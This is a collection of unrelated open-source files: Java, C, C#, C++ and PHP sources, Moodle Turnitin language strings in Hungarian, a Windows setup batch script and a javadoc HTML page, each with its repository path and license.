* @see org.esa.beam.framework.gpf.OperatorSpi#createOperator()
* @see org.esa.beam.framework.gpf.OperatorSpi#createOperator(java.util.Map, java.util.Map)
*/
public static class Spi extends OperatorSpi {
public Spi() {
super(InterferogramOp.class);
}
}
}
| kristotammeoja/ks | jlinda/jlinda-nest/src/main/java/org/jlinda/nest/gpf/InterferogramOp.java | Java | gpl-3.0 | 20,085 |
//==========================================================================
//
// include/sys/ioctl.h
//
//
//
//==========================================================================
//####BSDCOPYRIGHTBEGIN####
//
// -------------------------------------------
//
// Portions of this software may have been derived from OpenBSD or other sources,
// and are covered by the appropriate copyright disclaimers included herein.
//
// -------------------------------------------
//
//####BSDCOPYRIGHTEND####
//==========================================================================
//#####DESCRIPTIONBEGIN####
//
// Author(s): gthomas
// Contributors: gthomas
// Date: 2000-01-10
// Purpose:
// Description:
//
//
//####DESCRIPTIONEND####
//
//==========================================================================
/* $OpenBSD: ioctl.h,v 1.3 1996/03/03 12:11:50 niklas Exp $ */
/* $NetBSD: ioctl.h,v 1.20 1996/01/30 18:21:47 thorpej Exp $ */
/*-
* Copyright (c) 1982, 1986, 1990, 1993, 1994
* The Regents of the University of California. All rights reserved.
* (c) UNIX System Laboratories, Inc.
* All or some portions of this file are derived from material licensed
* to the University of California by American Telephone and Telegraph
* Co. or Unix System Laboratories, Inc. and are reproduced herein with
* the permission of UNIX System Laboratories, Inc.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#)ioctl.h 8.6 (Berkeley) 3/28/94
*/
#ifndef _SYS_IOCTL_H_
#define _SYS_IOCTL_H_
#ifndef __ECOS
#include <sys/ttycom.h>
/*
* Pun for SunOS prior to 3.2. SunOS 3.2 and later support TIOCGWINSZ
* and TIOCSWINSZ (yes, even 3.2-3.5, the fact that it wasn't documented
* nonwithstanding).
*/
struct ttysize {
unsigned short ts_lines;
unsigned short ts_cols;
unsigned short ts_xxx;
unsigned short ts_yyy;
};
#define TIOCGSIZE TIOCGWINSZ
#define TIOCSSIZE TIOCSWINSZ
#endif
#include <sys/ioccom.h>
#ifndef __ECOS
#include <sys/dkio.h>
#include <sys/filio.h>
#endif
#include <sys/sockio.h>
#ifndef _KERNEL
#include <sys/cdefs.h>
__BEGIN_DECLS
int ioctl __P((int, unsigned long, ...));
__END_DECLS
#endif /* !_KERNEL */
#endif /* !_SYS_IOCTL_H_ */
/*
* Keep outside _SYS_IOCTL_H_
* Compatability with old terminal driver
*
* Source level -> #define USE_OLD_TTY
* Kernel level -> options COMPAT_43 or COMPAT_SUNOS or ...
*/
#if defined(USE_OLD_TTY) || defined(COMPAT_43) || defined(COMPAT_SUNOS) || \
defined(COMPAT_SVR4) || defined(COMPAT_FREEBSD)
#include <sys/ioctl_compat.h>
#endif
| luebbers/reconos | core/ecos/ecos-patched/ecos/packages/net/tcpip/current/include/sys/ioctl.h | C | gpl-3.0 | 4,259 |
using LightDirector.Domain;
namespace LightDirector
{
public interface IEffectView<T> where T : EffectBase
{
}
}
| binton10186/light-director | LightDirector/Views/IEffectView.cs | C# | gpl-3.0 | 126 |
package com.xxl.job.database.meta;
import com.xxl.job.database.dboperate.DBManager;
/**
* 基于mysql的一些特殊处理定义
*
*/
public class MySQLDatabaseMeta extends DatabaseMeta {
public MySQLDatabaseMeta() {
this.dbType = DBManager.MYSQL_DB;
}
}
| lijie2713977/xxl-job | xxl-job-database/src/main/java/com/xxl/job/database/meta/MySQLDatabaseMeta.java | Java | gpl-3.0 | 277 |
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8"/>
<!-- Incluimos los archivos Javascript externos -->
<script src='jquery.js'></script>
<script src='amazingslider.js'></script>
<script src='initslider-1.js'></script>
<style>
a{
font-family:Tahoma;
font-size:13px;
color:#2E2E2E;
text-decoration:none;}
p{
text-align:right;}
</style>
</head>
<body bgcolor="transparent"><br>
<!-- Div contenedor general -->
<div style="margin:70px auto;max-width:900px;">
<!-- Div donde se muestran las imágenes -->
<div id="amazingslider-1" style="display:block;position:relative;margin:16px auto 86px;">
<ul class="amazingslider-slides" style="display:none;">
<!-- Código PHP que genera galería de fotos automática a partir de los archivos contenidos en carpeta imagenes -->
<?php
$directorio = opendir("imagenes"); //Ruta actual donde se encuentran las imágenes
while ($archivo = readdir($directorio))//Obtiene archivos sucesivamente
{
if (is_dir($archivo))//verificamos si es o no un directorio
{// si es directorio no hace nada
}
else//si no lo es muestra la imagen y su nombre(alt)
{
echo "<li>
<img src='imagenes/$archivo'/ alt='$archivo'/>
</li> ";
}
}
?>
</ul>
<!-- Div inferior donde se muestran barra con miniaturas-->
<ul class="amazingslider-thumbnails" style="display:none;">
<!-- Código PHP que genera galería de miniaturas automática en la parte inferior, a partir de los archivos contenidos en carpeta imagenes -->
<?php
$directorio = opendir("imagenes"); //ruta actual
while ($archivo = readdir($directorio))//Obtiene archivos sucesivamente
{
if (is_dir($archivo))
//verificamos si es o no un directorio
{// si es directorio no hace nada
}
else//si no lo es muestra la imagen
{
echo "<li>
<img src='imagenes/$archivo'/>
</li> ";
}
}
?>
</ul>
</div>
</div><br><br>
<p>
<a href="../../panelGalerias.php"> Volver al panel de Galerías
<img src="../../iconos/flecha.png" height="40px" width="40px" align="right">
</a>
</p>
</body>
</html>
| ricardo7227/DAW | DIW/aaa_profe/Intranet/Multimedia/Imagenes/Archivos/iconos/index.php | PHP | gpl-3.0 | 3,022 |
<?php
namespace Volantus\FlightBase\Src\General\MSP;
use Volantus\MSPProtocol\Src\Protocol\Response\Response;
/**
* Class MSPResponseMessage
*
* @package Volantus\FlightBase\Src\General\MSP
*/
class MSPResponseMessage
{
/**
* @var string
*/
private $id;
/**
* @var Response
*/
private $mspResponse;
/**
* MSPResponseMessage constructor.
*
* @param string $id
* @param Response $mspResponse
*/
public function __construct(string $id, Response $mspResponse)
{
$this->id = $id;
$this->mspResponse = $mspResponse;
}
/**
* @return string
*/
public function getId(): string
{
return $this->id;
}
/**
* @return Response
*/
public function getMspResponse(): Response
{
return $this->mspResponse;
}
} | Volantus/flight-base | src/General/MSP/MSPResponseMessage.php | PHP | gpl-3.0 | 864 |
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Strings for component 'plagiarism_turnitin', language 'hu', branch 'MOODLE_22_STABLE'
*
* @package plagiarism_turnitin
* @copyright 1999 onwards Martin Dougiamas {@link http://moodle.com}
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
defined('MOODLE_INTERNAL') || die();
$string['adminlogin'] = 'Bejelentkezés a Turnitin alá rendszergazdaként';
$string['compareinstitution'] = 'Leadott fájlok és beadott dolgozatok összehasonlítása intézményen belül';
$string['compareinstitution_help'] = 'Csak akkor érhető el, ha egyedi csomópontot állított be/vásárolt. Ha bizonytalan, állítsa "Nem"-re.';
$string['compareinternet'] = 'Leadott fájlok összehasonlítása az internettel';
$string['compareinternet_help'] = 'Ezzel összehasonlíthatja a leadott munkákat azon internetes tartalmakkal, amelyeket a Turnitin jelenleg nyomon követ.';
$string['comparejournals'] = 'Leadott fájlok összehasonlítása folyóraitokkal, közleményekkel.';
$string['comparejournals_help'] = 'Ezzel összehasonlíthatja a leadott munkákat azon folyóraitokkal, közleményekkel, amelyeket a Turnitin jelenleg nyomon követ.';
$string['comparestudents'] = 'Leadott fájlok összehasonlítása más tanulók állományaival';
$string['comparestudents_help'] = 'Ezzel összehasonlíthatja a leadott munkákat más tanulók állományaival';
$string['configdefault'] = 'Ez az alapbeállítás a feladatok létrehozására való oldalon. Csakis plagiarism/turnitin:enableturnitin jogosultsággal rendelkező felhasználók módosíthatják a beállítást egyéni feladatra.';
$string['configusetiimodule'] = 'Turnitin-leadás bekapcsolása';
$string['defaultsdesc'] = 'Ha egy tevékenységmodulban bekapcsolja a Turnitint, az alábbiak lesznek az alapbeállítások.';
$string['defaultupdated'] = 'A Turnitin alapbeállításai frissítve.';
$string['draftsubmit'] = 'Mikor kell a fájlt a Turnitinba leadni?';
$string['excludebiblio'] = 'A szakirodalom kihagyása';
$string['excludebiblio_help'] = 'A szakirodalom az eredetiségi jelentés megtekintésekor ki-be kapcsolható. Ez a beállítás az első fájl leadása után nem módosítható.';
$string['excludematches'] = 'Csekély egyezések kihagyása';
$string['excludematches_help'] = 'A csekély mértékű egyezéseket százalék vagy szószám alapján kihagyhatja - az alábbi négyzetben válassza ki, melyiket kívánja használni.';
$string['excludequoted'] = 'Idézet kihagyása';
$string['excludequoted_help'] = 'Az idézetek az eredetiségi jelentés megtekintésekor ki-be kapcsolhatók. Ez a beállítás az első fájl leadása után nem módosítható.';
$string['file'] = 'Állomány';
$string['filedeleted'] = 'Az állomány a sorból törölve';
$string['fileresubmitted'] = 'Az állomány újbóli leadásra besorolva';
$string['module'] = 'Modul';
$string['name'] = 'Név';
$string['percentage'] = 'Százalék';
$string['pluginname'] = 'Turnitin plágium-ellenőrző segédprogram';
$string['reportgen'] = 'Mikor készüljenek eredetiségi jelentések?';
$string['reportgen_help'] = 'Ezzel adhatja meg, hogy mikor készüljenek el az eredetiségi jelentések';
$string['reportgenduedate'] = 'Határidőre';
$string['reportgenimmediate'] = 'Haladéktalanul (az első jelentés a végső)';
$string['reportgenimmediateoverwrite'] = 'Haladéktalanul (a jelentések felülírhatók)';
$string['resubmit'] = 'Újbóli leadás';
$string['savedconfigfailure'] = 'Nem sikerül csatlakoztatni/hitelesíteni a Turnitint - lehet, hogy rossz titkos kulcs/felhasználó azonosító párt használ, vagy a szerver nem tud az alkalmazással összekapcsolódni.';
$string['savedconfigsuccess'] = 'A Turnitin-beállítások elmentve, a tanári fiók létrejött';
$string['showstudentsreport'] = 'A hasonlósági jelentés megmutatása a tanulónak';
$string['showstudentsreport_help'] = 'A hasonlósági jelentés lebontva jeleníti meg a leadott munka azon részeit, amelyeket átvettek, valamint azt a helyet, ahol a Turnitin először észlelte ezt a tartalmat.';
$string['showstudentsscore'] = 'Hasonlósági arány megmutatása a tanulónak';
$string['showstudentsscore_help'] = 'A hasonlósági arány a leadott munkának az a százaléka, amely más tartalmakkal egyezik - a magas arány rendszerint rosszat jelent.';
$string['showwhenclosed'] = 'A tevékenység lezárásakor';
$string['similarity'] = 'Hasonlóság';
$string['status'] = 'Állapot';
$string['studentdisclosure'] = 'Tanulói nyilvánosságra hozatal';
$string['studentdisclosure_help'] = 'A szöveget az állományfeltöltő oldalon minden tanuló látja';
$string['studentdisclosuredefault'] = 'Minden feltöltött állományt megvizsgál a Turnitin.com plágium-ellenőrzője';
$string['submitondraft'] = 'Állomány leadása az első feltöltés alkalmával';
$string['submitonfinal'] = 'Állomány leadása, amikor a tanuló osztályozásra küldi be';
$string['teacherlogin'] = 'Bejelentkezés a Turnitin alá tanárként';
$string['tii'] = 'Turnitin';
$string['tiiaccountid'] = 'Turnitin felhasználói azonosító';
$string['tiiaccountid_help'] = 'Ez a felhasználói azonosítója, melyet a Turnitin.com-tól kapott';
$string['tiiapi'] = 'Turnitin alkalmazás';
$string['tiiapi_help'] = 'Ez a Turnitin alkalmazás címe - többnyire https://api.turnitin.com/api.asp';
$string['tiiconfigerror'] = 'Portál-beállítási hiba történt az állomány Turnitinhez küldése közben.';
$string['tiiemailprefix'] = 'Tanulói e-mail előtagja';
$string['tiiemailprefix_help'] = 'Állítsa be ezt, ha nem akarja, hogy a tanulók bejelentkezzenek a turnitin.com portálra és teljes jelentéseket tekintsenek meg.';
$string['tiienablegrademark'] = 'A Grademark (kísérleti) bekapcsolása';
$string['tiienablegrademark_help'] = 'A Grademark a Turnitin egyik választható funkciója. Használatához fel kell vennie a Turnitin-szolgáltatások közé. Bekapcsolása esetén a leadott oldalak lassan jelennek meg.';
$string['tiierror'] = 'TII-hiba';
$string['tiierror1007'] = 'A Turnitin nem tudta feldolgozni a fájlt, mert túl nagy.';
$string['tiierror1008'] = 'Hiba történt a fájl Turnitinhez küldése közben.-';
$string['tiierror1009'] = 'A Turnitin nem tudta feldolgozni a fájlt, mert nem támogatja a típusát. Érvényes állományformák: MS Word, Acrobat PDF, Postscript, egyszerű szöveg, HTML, WordPerfect és Rich Text.';
$string['tiierror1010'] = 'A Turnitin nem tudta feldolgozni a fájlt, mert 100-nál kevesebb nem nyomtatható karaktert tartalmaz.';
$string['tiierror1011'] = 'A Turnitin nem tudta feldolgozni a fájlt, mert hibás a formája és szóközök vannak a betűk között.';
$string['tiierror1012'] = 'A Turnitin nem tudta feldolgozni a fájlt, mert hossza meghaladja a megengedettet.';
$string['tiierror1013'] = 'A Turnitin nem tudta feldolgozni a fájlt, mert 20-nál kevesebb szót tartalmaz.';
$string['tiierror1020'] = 'A Turnitin nem tudta feldolgozni a fájlt, mert nem támogatott karaktereket tartalmaz.';
$string['tiierror1023'] = 'A Turnitin nem tudta feldolgozni a pdf-fájlt, mert jelszóval védett és képeket tartalmaz.';
$string['tiierror1024'] = 'A Turnitin nem tudta feldolgozni a fájlt, mert nem felel meg az érvényes dolgozat feltételeinek.';
$string['tiierrorpaperfail'] = 'A Turnitin nem tudta feldolgozni a fájlt.';
$string['tiierrorpending'] = 'A fájl vár a Turnitinhez való leadásra.';
$string['tiiexplain'] = 'A Turnitin kereskedelmi termék, a szolgáltatásra elő kell fizetni. További információk: <a href="http://docs.moodle.org/en/Turnitin_administration">http://docs.moodle.org/en/Turnitin_administration</a>';
$string['tiiexplainerrors'] = 'AZ oldalon szerepelnek azok a Turnitinhez leadott fájlok, amelyek hibásként vannak megjelölve. A hibakódokat és leírásukat lásd: :<a href="http://docs.moodle.org/en/Turnitin_errors">docs.moodle.org/en/Turnitin_errors</a><br/>Az állományok visszaállítása után a cron megpróbálja ismét leadni őket a Turnitinhez.<br/>Törlésük esetén viszont nem lehet őket ismételten leadni, ezért eltűnnek a tanárok és a tanulók elől a hibák is.';
$string['tiisecretkey'] = 'Titkos Turnitin-kulcs';
$string['tiisecretkey_help'] = 'Ennek beszerzéséhez jelentkezzen be a Turnitin.com alá portálja rendszergazdájaként.';
$string['tiisenduseremail'] = 'Felhasználói e-mail elküldése';
$string['tiisenduseremail_help'] = 'E-mail küldése a TII-rendszerben létrehozott összes felhasználónak olyan ugrópointtal, amelyről ideiglenes jelszóval be tudnak jelentkezni a www.turnitin.com portálra.';
$string['turnitin'] = 'Turnitin';
$string['turnitin:enable'] = 'Tanár számára a Turnitin ki-be kapcsolásának engedélyezése adott modulon belül.';
$string['turnitin:viewfullreport'] = 'Tanár számára a Turnitintól kapott teljes jelentés megtekintésének engedélyezése';
$string['turnitin:viewsimilarityscore'] = 'Tanár számára a Turnitintól kapott hasonlósági pont megtekintésének engedélyezése';
$string['turnitin_attemptcodes'] = 'Hibakódok automatikus újbóli leadáshoz';
$string['turnitin_attemptcodes_help'] = 'Olyan hibakódok, amilyeneket a Turnitin 2. próbálkozásra általában elfogad (a mező módosítása a szervert tovább terhelheti)';
$string['turnitin_attempts'] = 'Újrapróbálkozások száma';
$string['turnitin_attempts_help'] = 'A megadott kódok Turnitinnek való újbóli leadásának a száma. 1 újrapróbálkozás azt jelenti, hogy a megadott hibakódok leadására kétszer kerül sor.';
$string['turnitin_institutionnode'] = 'Intézményi csomópont bekapcsolása';
$string['turnitin_institutionnode_help'] = 'Ha a fiókjához intézményi csomópontot állított be, ennek bekapcsolásával választhatja ki a csomópontot feladatok létrehozása során. MEGJEGYZÉS: ha nincs intézményi csomópontja, ennek bekapcsolása esetén a dolgozat leadása nem fog sikerülni.';
$string['turnitindefaults'] = 'A Turnitin alapbeállításai';
$string['turnitinerrors'] = 'Turnitin-hibák';
$string['useturnitin'] = 'A Turnitin bekapcsolása';
$string['wordcount'] = 'Szószám';
| danielbonetto/twig_MVC | lang/hu/plagiarism_turnitin.php | PHP | gpl-3.0 | 10,844 |
:: This sets up the bare windows7 system
:: with my basic preferences
:: Installed drivers
:: Installed chrome
:: Installed dropbox
:: Dropbox
"https://github.com/Erotemic/local/archive/master.zip"
set HOME=%USERPROFILE%
set APP_PATH=%HOME%\local\apps
set PATH=%APP_PATH%;%PATH%
:: Install Drivers
:: Install WGET
:: http://gnuwin32.sourceforge.net/packages/wget.htm
set WGET=%APP_PATH%\wget.exe
:: Install GVIM
set GVIM_EXE="ftp://ftp.vim.org/pub/vim/pc/gvim74.exe"
:: TrueCrypt
:: Install Python
wget "http://www.python.org/ftp/python/2.7.6/python-2.7.6.msi"
wget "http://www.python.org/ftp/python/2.7.6/python-2.7.6.msi.asc"
md5sum python-2.7.6.msi > tmppymd5
set /p PYMD5_VAL= < tmppymd5
del tmppymd5
set PYMD5=ac54e14f7ba180253b9bae6635d822ea *python-2.7.6.msi
if "%PYMD5%" NEQ "%PYMD5_VAL%" (
echo "md5 failed"
goto :exit_fail
) else (
echo "md5 passed"
)
gpg --keyserver keys.gnupg.net
gpg --recv-keys 7D9DC8D2 :: martin v lowis's key
:: Install GIT
:: Install 7zip
:: Install MinGW
:: Install AutoHotKey
set AHK_URL="http://l.autohotkey.net/AutoHotkey_L_Install.exe"
:: Install Chrome
:: Install Steam
:: Install Windows Updates
:: Install Other:
:: FileZilla
:: WinSplit Revolution
:: Spotify
:: RapidEE
:: Cisco VPN
:: Microsoft Security Essentials
:: Flux
:: VLC
:: Sumatra
:: Dropbox
:: Zotero
:: Dia
:: Flux
:: Inno Setup 5
::
:: PeerBlock
:: Reaper
:: Audacity
:: LibreOffice
:: PS
::
:: MiTeX 2.9
:: GhostScript
::
:: StarCraft2
:: GnuWin32?
:: Github?
:: Skype?
:exit_success
echo "SUCCESS"
:exit_fail
echo "FAILURE!"
| Erotemic/local | init/_freshstart-win/win7.bat | Batchfile | gpl-3.0 | 1,580 |
#include "if_expression.h"
#include <glog/logging.h>
#include "../internal/compilation.h"
#include "../public/value.h"
namespace afc {
namespace vm {
namespace {
class IfExpression : public Expression {
public:
IfExpression(std::shared_ptr<Expression> cond,
std::shared_ptr<Expression> true_case,
std::shared_ptr<Expression> false_case,
std::unordered_set<VMType> return_types)
: cond_(std::move(cond)),
true_case_(std::move(true_case)),
false_case_(std::move(false_case)),
return_types_(std::move(return_types)) {
CHECK(cond_ != nullptr);
CHECK(cond_->IsBool());
CHECK(true_case_ != nullptr);
CHECK(false_case_ != nullptr);
}
std::vector<VMType> Types() override { return true_case_->Types(); }
std::unordered_set<VMType> ReturnTypes() const override {
return return_types_;
}
PurityType purity() override {
return cond_->purity() == PurityType::kPure &&
true_case_->purity() == PurityType::kPure &&
false_case_->purity() == PurityType::kPure
? PurityType::kPure
: PurityType::kUnknown;
}
futures::Value<EvaluationOutput> Evaluate(Trampoline* trampoline,
const VMType& type) override {
return trampoline->Bounce(cond_.get(), VMType::Bool())
.Transform([type, true_case = true_case_, false_case = false_case_,
trampoline](EvaluationOutput cond_output) {
switch (cond_output.type) {
case EvaluationOutput::OutputType::kReturn:
case EvaluationOutput::OutputType::kAbort:
return futures::Past(std::move(cond_output));
case EvaluationOutput::OutputType::kContinue:
return trampoline->Bounce(cond_output.value->boolean
? true_case.get()
: false_case.get(),
type);
}
auto error = afc::editor::Error(L"Unhandled OutputType case.");
LOG(FATAL) << error;
return futures::Past(EvaluationOutput::Abort(error));
});
}
std::unique_ptr<Expression> Clone() override {
return std::make_unique<IfExpression>(cond_, true_case_, false_case_,
return_types_);
}
private:
const std::shared_ptr<Expression> cond_;
const std::shared_ptr<Expression> true_case_;
const std::shared_ptr<Expression> false_case_;
const std::unordered_set<VMType> return_types_;
};
} // namespace
std::unique_ptr<Expression> NewIfExpression(
Compilation* compilation, std::unique_ptr<Expression> condition,
std::unique_ptr<Expression> true_case,
std::unique_ptr<Expression> false_case) {
if (condition == nullptr || true_case == nullptr || false_case == nullptr) {
return nullptr;
}
if (!condition->IsBool()) {
compilation->errors.push_back(
L"Expected bool value for condition of \"if\" expression but found " +
TypesToString(condition->Types()) + L".");
return nullptr;
}
if (!(true_case->Types() == false_case->Types())) {
compilation->errors.push_back(
L"Type mismatch between branches of conditional expression: " +
TypesToString(true_case->Types()) + L" and " +
TypesToString(false_case->Types()) + L".");
return nullptr;
}
std::wstring error;
auto return_types = CombineReturnTypes(true_case->ReturnTypes(),
false_case->ReturnTypes(), &error);
if (!return_types.has_value()) {
compilation->errors.push_back(error);
return nullptr;
}
return std::make_unique<IfExpression>(
std::move(condition), std::move(true_case), std::move(false_case),
std::move(return_types.value()));
}
} // namespace vm
} // namespace afc
| alefore/edge | src/vm/internal/if_expression.cc | C++ | gpl-3.0 | 3,919 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="de">
<head>
<!-- Generated by javadoc (version 1.7.0_80) on Sat Dec 19 22:20:05 CET 2015 -->
<title>NewLinkedItemActionPlugin (Genji Scrum Tool & Issue Tracking API Documentation 5.0.1)</title>
<meta name="date" content="2015-12-19">
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="NewLinkedItemActionPlugin (Genji Scrum Tool & Issue Tracking API Documentation 5.0.1)";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html" title="class in com.aurel.track.item.action"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../../com/aurel/track/item/action/PluginItemActionException.html" title="class in com.aurel.track.item.action"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../index.html?com/aurel/track/item/action/NewLinkedItemActionPlugin.html" target="_top">Frames</a></li>
<li><a href="NewLinkedItemActionPlugin.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li><a href="#constructor_summary">Constr</a> | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li><a href="#constructor_detail">Constr</a> | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">com.aurel.track.item.action</div>
<h2 title="Class NewLinkedItemActionPlugin" class="title">Class NewLinkedItemActionPlugin</h2>
</div>
<div class="contentContainer">
<ul class="inheritance">
<li>java.lang.Object</li>
<li>
<ul class="inheritance">
<li><a href="../../../../../com/aurel/track/item/action/AbstractPluginItemAction.html" title="class in com.aurel.track.item.action">com.aurel.track.item.action.AbstractPluginItemAction</a></li>
<li>
<ul class="inheritance">
<li><a href="../../../../../com/aurel/track/item/action/NewItemActionPlugin.html" title="class in com.aurel.track.item.action">com.aurel.track.item.action.NewItemActionPlugin</a></li>
<li>
<ul class="inheritance">
<li><a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html" title="class in com.aurel.track.item.action">com.aurel.track.item.action.NewItemChildActionPlugin</a></li>
<li>
<ul class="inheritance">
<li>com.aurel.track.item.action.NewLinkedItemActionPlugin</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>All Implemented Interfaces:</dt>
<dd><a href="../../../../../com/aurel/track/item/action/IPluginItemAction.html" title="interface in com.aurel.track.item.action">IPluginItemAction</a></dd>
</dl>
<hr>
<br>
<pre>public class <span class="strong">NewLinkedItemActionPlugin</span>
extends <a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html" title="class in com.aurel.track.item.action">NewItemChildActionPlugin</a></pre>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor_summary">
<!-- -->
</a>
<h3>Constructor Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation">
<caption><span>Constructors</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colOne" scope="col">Constructor and Description</th>
</tr>
<tr class="altColor">
<td class="colOne"><code><strong><a href="../../../../../com/aurel/track/item/action/NewLinkedItemActionPlugin.html#NewLinkedItemActionPlugin()">NewLinkedItemActionPlugin</a></strong>()</code> </td>
</tr>
</table>
</li>
</ul>
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method_summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation">
<caption><span>Methods</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>protected <a href="../../../../../com/aurel/track/fieldType/runtime/base/WorkItemContext.html" title="class in com.aurel.track.fieldType.runtime.base">WorkItemContext</a></code></td>
<td class="colLast"><code><strong><a href="../../../../../com/aurel/track/item/action/NewLinkedItemActionPlugin.html#createCtx(com.aurel.track.item.ItemLocationForm,%20java.lang.Integer,%20java.util.Locale)">createCtx</a></strong>(<a href="../../../../../com/aurel/track/item/ItemLocationForm.html" title="class in com.aurel.track.item">ItemLocationForm</a> form,
java.lang.Integer personID,
java.util.Locale locale)</code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>boolean</code></td>
<td class="colLast"><code><strong><a href="../../../../../com/aurel/track/item/action/NewLinkedItemActionPlugin.html#isEnabled(java.lang.Integer,%20com.aurel.track.beans.TWorkItemBean,%20boolean,%20boolean,%20int)">isEnabled</a></strong>(java.lang.Integer personID,
<a href="../../../../../com/aurel/track/beans/TWorkItemBean.html" title="class in com.aurel.track.beans">TWorkItemBean</a> workItemBean,
boolean allowedToChange,
boolean allowedToCreate,
int appEdition)</code> </td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_com.aurel.track.item.action.NewItemChildActionPlugin">
<!-- -->
</a>
<h3>Methods inherited from class com.aurel.track.item.action.<a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html" title="class in com.aurel.track.item.action">NewItemChildActionPlugin</a></h3>
